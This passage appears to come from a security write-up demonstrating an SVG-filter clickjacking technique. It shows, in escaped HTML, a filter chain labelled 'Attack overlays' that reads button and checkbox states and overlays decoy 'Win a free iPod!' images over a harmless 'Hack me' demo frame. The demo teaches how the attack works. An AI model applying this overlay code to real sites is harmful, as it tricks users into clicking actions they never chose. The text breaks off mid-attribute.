&lt;sx-r&gt;mode&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;difference&lt;/sx-v&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;white&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;arithmetic&lt;/sx-v&gt; &lt;sx-r&gt;k2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;100&lt;/sx-v&gt; &lt;sx-r&gt;k4&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;-1&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;D&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- L (dialog loaded) --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;313px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;141px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;SourceGraphic&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;dialogBtn&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;mode&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;difference&lt;/sx-v&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;white&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;arithmetic&lt;/sx-v&gt; &lt;sx-r&gt;k2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;100&lt;/sx-v&gt; &lt;sx-r&gt;k4&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;-1&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;L&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- C (checkbox checked) --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feFlood&lt;/sx-t&gt; &lt;sx-r&gt;flood-color&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;#0B57D0&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;mode&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;difference&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;dialogBtn&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;arithmetic&lt;/sx-v&gt; &lt;sx-r&gt;k2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;4&lt;/sx-v&gt; &lt;sx-r&gt;k4&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;-1&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;arithmetic&lt;/sx-v&gt; &lt;sx-r&gt;k2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;100&lt;/sx-v&gt; &lt;sx-r&gt;k4&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;-1&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feColorMatrix&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;matrix&lt;/sx-v&gt;&#xD;&#xA;               &lt;sx-r&gt;values&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;1 1 1 0 0&#xD;&#xA;                       1 1 1 0 0&#xD;&#xA;                       1 1 1 0 0&#xD;&#xA;                       1 1 1 1 0&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;mode&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;difference&lt;/sx-v&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;white&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;C&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- R (red text visible) --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feMorphology&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;erode&lt;/sx-v&gt; &lt;sx-r&gt;radius&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;3&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;SourceGraphic&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;17px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;150px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;redtext&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feColorMatrix&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;matrix&lt;/sx-v&gt;&#xD;&#xA;               &lt;sx-r&gt;values&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0 0 1 0 0&#xD;&#xA;                       0 0 0 0 0&#xD;&#xA;                       0 0 0 0 0&#xD;&#xA;                       0 0 1 0 0&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;arithmetic&lt;/sx-v&gt; &lt;sx-r&gt;k2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;2&lt;/sx-v&gt; &lt;sx-r&gt;k3&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;-5&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;redtext&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feColorMatrix&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;matrix&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;R&lt;/sx-v&gt;&#xD;&#xA;               &lt;sx-r&gt;values&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;1 0 0 0 0&#xD;&#xA;                       1 0 0 0 0&#xD;&#xA;                       1 0 0 0 0&#xD;&#xA;                       1 0 0 0 1&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- Attack overlays --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feColorMatrix&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;matrix&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;R&lt;/sx-v&gt;&#xD;&#xA;  &lt;sx-r&gt;values&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;end.png&lt;/sx-v&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;in&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;button1.png&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;SourceGraphic&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;out&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feColorMatrix&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;matrix&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;C&lt;/sx-v&gt;&#xD;&#xA;  &lt;sx-r&gt;values&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;button2.png&lt;/sx-v&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;in&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;checkbox.png&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;loadedGraphic&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feColorMatrix&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;matrix&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;L&lt;/sx-v&gt;&#xD;&#xA;  &lt;sx-r&gt;values&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;loadedGraphic&lt;/sx-v&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;in&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;loading.png&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;dialogGraphic&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feColorMatrix&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;matrix&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;D&lt;/sx-v&gt;&#xD;&#xA;  &lt;sx-r&gt;values&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;dialogGraphic&lt;/sx-v&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;in&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;out&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;DIV&gt;&lt;fake-frame class=&#34;logic-gate-attack&#34; style=&#34;filter:url(#logic-gate-filter)&#34;&gt;&#xD;&#xA;  &lt;p style=&#34;font-size:200%&#34;&gt;Securify&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;Welcome to this secure application!&lt;/p&gt;&#xD;&#xA;  &lt;label&gt;&lt;g-button style=&#34;position:absolute; top: 96px; left: 16px&#34; primary&gt;Hack me&lt;/g-button&gt;&lt;input type=&#34;checkbox&#34; id=&#34;hackmecheck2&#34;&gt;&lt;/label&gt;&#xD;&#xA;  &lt;div class=&#34;hackmedialog&#34;&gt;&lt;div&gt;&#xD;&#xA;    &lt;p&gt;Hack confirmation&lt;/p&gt;&#xD;&#xA;    &lt;p&gt;Are you sure you&#39;d like to get hacked?&lt;/p&gt;&#xD;&#xA;    &lt;label style=&#34;position:absolute; top: 74px; left: 12px&#34;&gt;&lt;input id=&#34;hackmesure2&#34; type=&#34;checkbox&#34;&gt;I am 100% sure&lt;/label&gt;&#xD;&#xA;    &lt;label for=&#34;hackmecheck2&#34;&gt;&lt;g-button style=&#34;position:absolute; top: 96px; left:190px&#34;&gt;No&lt;/g-button&gt;&lt;/label&gt;&#xD;&#xA;    &lt;label&gt;&lt;g-button style=&#34;position:absolute; top: 96px; left: 265px&#34; primary&gt;Yes&lt;/g-button&gt;&lt;input type=&#34;checkbox&#34; id=&#34;hackmeyes2&#34;&gt;&lt;/label&gt;&#xD;&#xA;    &lt;span&gt;⌛&lt;/span&gt;&#xD;&#xA;  &lt;/div&gt;&lt;/div&gt;&#xD;&#xA;  &lt;p class=&#34;havebeenhacked&#34; style=&#34;position:absolute;top:145px;font-weight:600;color:red&#34;&gt;&lt;label for=&#34;hackmeyes2&#34;&gt;You have been hacked!&lt;br&gt;&lt;em style=&#34;font-size:75%;color:#888&#34;&gt;(click to go back)&lt;/em&gt;&lt;/label&gt;&lt;/p&gt;&#xD;&#xA;  &lt;div id=&#34;lgDebugMode&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;/fake-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;div&gt;&lt;label&gt;&lt;input type=&#34;checkbox&#34; id=&#34;lgDebugCheck&#34;&gt;Show attack with transparency&lt;/label&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;&lt;svg&#xD;&#xA;class=&#34;effect&#34;&#xD;&#xA;width=&#34;420&#34;&#xD;&#xA;height=&#34;220&#34;&#xD;&#xA;viewBox=&#34;0 0 420 220&#34;&#xD;&#xA;xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&#xA;&lt;filter id=&#34;logic-gate-filter&#34;&gt;&#xA;&lt;!-- util --&gt;&#xA;&lt;feTile x=&#34;15px&#34; y=&#34;5px&#34; width=&#34;2&#34; height=&#34;2&#34; in=SourceGraphic /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;100%&#34; /&gt;&#xA;&lt;feColorMatrix type=matrix result=debugEnabled&#xD;&#xA;values=&#34;0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0&#34; /&gt;&#xA;&lt;feFlood flood-color=#FFF result=white /&gt;&#xA;&lt;!-- attack imgs --&gt;&#xA;&lt;feImage xlink:href=&#34;data:image/svg+xml,&lt;svg width=&#39;420&#39; height=&#39;220&#39; viewBox=&#39;0 0 420 220&#39; fill=&#39;%23333&#39; style=&#39;font-size-adjust: 0.478;font: 16px Charter, %22Bitstream Charter%22, %22Sitka Text%22, Cambria, serif&#39; xmlns=&#39;http://www.w3.org/2000/svg&#39;&gt; &lt;rect x=&#39;2&#39; y=&#39;2&#39; width=&#39;416&#39; height=&#39;216&#39; /&gt; &lt;text x=&#39;20&#39; y=&#39;35&#39; fill=&#39;%23FFF&#39;&gt;Win a free iPod!&lt;/text&gt; &lt;rect x=&#39;18&#39; y=&#39;98&#39; width=&#39;109&#39; height=&#39;40&#39; fill=&#39;%238CFFDB&#39; rx=&#39;20&#39; /&gt; &lt;text x=&#39;41&#39; y=&#39;123&#39; fill=&#39;%23000&#39;&gt;Sign up!&lt;/text&gt;&lt;/svg&gt;&#34; x=0 y=0 width=420 height=220 result=button1.png&gt;&lt;/feImage&gt;&#xA;&lt;feImage xlink:href=&#34;data:image/svg+xml,&lt;svg width=&#39;420&#39; height=&#39;220&#39; viewBox=&#39;0 0 420 220&#39; fill=&#39;%23333&#39; style=&#39;font-size-adjust: 0.478;font: 16px Charter, %22Bitstream Charter%22, %22Sitka Text%22, Cambria, serif&#39; xmlns=&#39;http://www.w3.org/2000/svg&#39;&gt; &lt;rect x=&#39;2&#39; y=&#39;2&#39; width=&#39;416&#39; height=&#39;216&#39; /&gt; &lt;text x=&#39;20&#39; y=&#39;35&#39; fill=&#39;%23FFF&#39;&gt;Win a free iPod!&lt;/text&gt; &lt;rect x=&#39;18&#39; y=&#39;98&#39; width=&#39;109&#39; height=&#39;40&#39; fill=&#39;%238CFFDB&#39; rx=&#39;20&#39; /&gt; &lt;text x=&#39;41&#39; y=&#39;123&#39; fill=&#39;%23000&#39;&gt;Sign up!&lt;/text&gt; &lt;rect x=&#39;2&#39; y=&#39;2&#39; width=&#39;416&#39; height=&#39;216&#39; fill=&#39;%230009&#39; /&gt; &lt;rect x=&#39;34&#39; y=&#39;34&#39; width=&#39;352&#39; height=&#39;152&#39; fill=&#39;%23FFF&#39; rx=&#39;8&#39; /&gt; &lt;text x=&#39;171&#39; y=&#39;115&#39; fill=&#39;%23000&#39;&gt;Loading...&lt;/text&gt;&lt;/svg&gt;&#34; x=0 y=0 width=420 height=220 result=loading.png&gt;&lt;/feImage&gt;&#xA;&lt;feImage xlink:href=&#34;data:image/svg+xml,&lt;svg width=&#39;420&#39; height=&#39;220&#39; viewBox=&#39;0 0 420 220&#39; fill=&#39;%23333&#39; style=&#39;font-size-adjust: 0.478;font: 16px Charter, %22Bitstream Charter%22, %22Sitka Text%22, Cambria, serif&#39; xmlns=&#39;http://www.w3.org/2000/svg&#39;&gt; &lt;rect x=&#39;2&#39; y=&#39;2&#39; width=&#39;416&#39; height=&#39;216&#39; /&gt; &lt;text x=&#39;20&#39; y=&#39;35&#39; fill=&#39;%23FFF&#39;&gt;Win a free iPod!&lt;/text&gt; &lt;rect x=&#39;18&#39; y=&#39;98&#39; width=&#39;109&#39; height=&#39;40&#39; fill=&#39;%238CFFDB&#39; rx=&#39;20&#39; /&gt; &lt;text x=&#39;41&#39; y=&#39;123&#39; fill=&#39;%23000&#39;&gt;Sign up!&lt;/text&gt; &lt;rect x=&#39;2&#39; y=&#39;2&#39; width=&#39;416&#39; height=&#39;216&#39; fill=&#39;%230009&#39; /&gt; &lt;rect x=&#39;34&#39; y=&#39;34&#39; width=&#39;352&#39; height=&#39;152&#39; fill=&#39;%23FFF&#39; rx=&#39;8&#39; /&gt; &lt;rect x=&#39;50&#39; y=&#39;112&#39; width=&#39;12&#39; height=&#39;12&#39; fill=&#39;%230000&#39; stroke=&#39;%23000&#39; rx=&#39;8&#39; /&gt; &lt;rect x=&#39;299&#39; y=&#39;130&#39; width=&#39;73&#39; height=&#39;40&#39; fill=&#39;%23444&#39; rx=&#39;20&#39; /&gt; &lt;text x=&#39;52&#39; y=&#39;64&#39; style=&#39;font-size:150%&#39; fill=&#39;%23000&#39;&gt;Win a free iPod!&lt;/text&gt; &lt;text x=&#39;52&#39; y=&#39;88&#39; fill=&#39;%23000&#39;&gt;To join the giveaway you must agree with&lt;/text&gt; &lt;text x=&#39;52&#39; y=&#39;104&#39; fill=&#39;%23000&#39;&gt;our Terms and Conditions.&lt;/text&gt; &lt;text x=&#39;64&#39; y=&#39;123&#39; fill=&#39;%23000&#39;&gt;I agree to terms&lt;/text&gt; &lt;text x=&#39;308&#39; y=&#39;155&#39; fill=&#39;%23AAA&#39;&gt;Sign up&lt;/text&gt;&lt;/svg&gt;&#34; x=0 y=0 width=420 height=220 result=checkbox.png&gt;&lt;/feImage&gt;&#xA;&lt;feImage xlink:href=&#34;data:image/svg+xml,&lt;svg width=&#39;420&#39; height=&#39;220&#39; viewBox=&#39;0 0 420 220&#39; fill=&#39;%23333&#39; style=&#39;font-size-adjust: 0.478;font: 16px Charter, %22Bitstream Charter%22, %22Sitka Text%22, Cambria, serif&#39; xmlns=&#39;http://www.w3.org/2000/svg&#39;&gt; &lt;rect x=&#39;2&#39; y=&#39;2&#39; width=&#39;416&#39; height=&#39;216&#39; /&gt; &lt;text x=&#39;20&#39; y=&#39;35&#39; fill=&#39;%23FFF&#39;&gt;Win a free iPod!&lt;/text&gt; &lt;rect x=&#39;18&#39; y=&#39;98&#39; width=&#39;109&#39; height=&#39;40&#39; fill=&#39;%238CFFDB&#39; rx=&#39;20&#39; /&gt; &lt;text x=&#39;41&#39; y=&#39;123&#39; fill=&#39;%23000&#39;&gt;Sign up!&lt;/text&gt; &lt;rect x=&#39;2&#39; y=&#39;2&#39; width=&#39;416&#39; height=&#39;216&#39; fill=&#39;%230009&#39; /&gt; &lt;rect x=&#39;34&#39; y=&#39;34&#39; width=&#39;352&#39; height=&#39;152&#39; fill=&#39;%23FFF&#39; rx=&#39;8&#39; /&gt; &lt;rect x=&#39;50&#39; y=&#39;112&#39; width=&#39;12&#39; height=&#39;12&#39; fill=&#39;%230000&#39; stroke=&#39;%23000&#39; rx=&#39;8&#39; /&gt; &lt;rect x=&#39;52&#39; y=&#39;114&#39; width=&#39;8&#39; height=&#39;8&#39; fill=&#39;%23000&#39; rx=&#39;8&#39; /&gt; &lt;rect x=&#39;299&#39; y=&#39;130&#39; width=&#39;73&#39; height=&#39;40&#39; fill=&#39;%238CFFDB&#39; rx=&#39;20&#39; /&gt; &lt;text x=&#39;52&#39; y=&#39;64&#39; style=&#39;font-size:150%&#39; fill=&#39;%23000&#39;&gt;Win a free iPod!&lt;/text&gt; &lt;text x=&#39;52&#39; y=&#39;88&#39; fill=&#39;%23000&#39;&gt;To join the giveaway you must agree with&lt;/text&gt; &lt;text x=&#39;52&#39; y=&#39;104&#39; fill=&#39;%23000&#39;&gt;our Terms and Conditions.&lt;/text&gt; &lt;text x=&#39;64&#39; y=&#39;123&#39; fill=&#39;%23000&#39;&gt;I agree to terms&lt;/text&gt; &lt;text x=&#39;308&#39; y=&#39;155&#39; fill=&#39;%23000&#39;&gt;Sign up&lt;/text&gt;&lt;/svg&gt;&#34; x=0 y=0 width=420 height=220 result=button2.png&gt;&lt;/feImage&gt;&#xA;&lt;feImage xlink:href=&#34;data:image/svg+xml,&lt;svg width=&#39;420&#39; height=&#39;220&#39; viewBox=&#39;0 0 420 